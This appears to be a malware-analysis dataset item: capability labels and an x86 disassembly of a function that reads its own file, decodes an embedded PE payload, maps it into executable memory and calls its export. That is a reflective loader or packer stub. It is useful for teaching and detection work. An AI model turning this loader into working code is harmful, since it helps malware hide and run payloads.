Function at 0x40147f
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x820
push ebx
push ebp
push esi
push edi
xor eax, eax
mov word [esp + 0x30], ax
push 0x400
xor edi, edi
lea eax, [esp + 0x34]
push eax
mov ebx, edi
mov ebp, edi
push edi
mov dword [esp + 0x28], ebx
mov dword [esp + 0x20], ebp
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x30]
push edi
push 0x8000000
push 3
push edi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40151f
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov ecx, ebx
mov dword [esp + 0x1c], ebx
call fcn.004016d7
mov ebp, eax
push edi
lea eax, [esp + 0x2c]
push eax
push ebx
push ebp
push esi
mov dword [esp + 0x28], ebp
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401505
cmp dword [esp + 0x28], ebx
je 0x401518
mov ecx, ebp
call fcn.0040172d
mov ebp, edi
mov dword [esp + 0x14], ebp
mov ebx, edi
mov dword [esp + 0x1c], edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x1c]
push eax
push ecx
mov ecx, ebp
call fcn.004011de
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x24]
push eax
call fcn.0040133c
mov esi, dword [esp + 0x20]
push 0x40
mov edi, dword [esi + 0x3c]
add edi, esi
push 0x3000
mov eax, dword [edi + 0x50]
mov dword [esp + 0x2c], eax
add eax, 0x14
add eax, ebx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [esp + 0x10], ebx
test ebx, ebx
je 0x401694
push 0x40
mov edx, esi
mov ecx, ebx
call fcn.004016e7
mov ebp, dword [ebx + 0x3c]
movzx eax, word [edi + 0x14]
add ebp, ebx
push eax
mov edx, edi
mov ecx, ebp
mov dword [esp + 0x1c], ebp
call fcn.004016e7
movzx ecx, word [edi + 0x14]
lea eax, [edi + 0x18]
movzx edi, word [edi + 6]
add ecx, eax
movzx eax, word [ebp + 0x14]
lea esi, [ebp + 0x18]
add esi, eax
mov dword [esp + 0x2c], ecx
test edi, edi
je 0x4015fd
mov ebp, ecx
sub ebp, esi
mov ebx, edi
push 0x28
lea edx, [esi + ebp]
mov ecx, esi
call fcn.004016e7
add esi, 0x28
dec ebx
jne 0x4015c1
mov ebx, dword [esp + 0x10]
mov ecx, dword [esp + 0x2c]
test edi, edi
je 0x4015fd
mov ebp, dword [esp + 0x20]
lea esi, [ecx + 0x14]
mov edx, dword [esi]
mov ecx, dword [esi - 8]
push dword [esi - 4]
add edx, ebp
add ecx, ebx
call fcn.004016e7
lea esi, [esi + 0x28]
dec edi
jne 0x4015e6
mov eax, dword [esp + 0x18]
add eax, 0x18
push eax
mov edx, ebx
mov ecx, ebx
call fcn.004013e0
mov ebp, dword [esp + 0x24]
add ebp, ebx
push str.KERNEL32
mov ebx, ebp
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push 0x402048
push edi
mov dword [ebx], edi
call esi
mov dword [ebx + 8], eax
push str.LoadLibraryA
push edi
call esi
mov edx, dword [esp + 0x14]
mov dword [ebx + 4], eax
lea eax, [ebp + 0x14]
sub eax, ebx
mov dword [ebx + 0xc], eax
mov eax, dword [esp + 0x1c]
push eax
lea ecx, [ebp + 0x14]
mov dword [ebx + 0x10], eax
call fcn.004016e7
mov ecx, dword [esp + 0x18]
mov esi, dword [esp + 0x10]
mov eax, dword [ecx + 0x78]
push esi
mov ecx, dword [eax + esi + 0x10]
mov eax, dword [eax + esi + 0x1c]
shl ecx, 2
sub eax, ecx
mov eax, dword [eax + esi + 4]
add eax, esi
call eax
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ebp, dword [esp + 0x14]
mov esi, dword [esp + 0x20]
mov ecx, esi
call fcn.0040172d
mov ecx, ebp
call fcn.0040172d
pop edi
pop esi
xor eax, eax
pop ebp
inc eax
pop ebx
add esp, 0x820
ret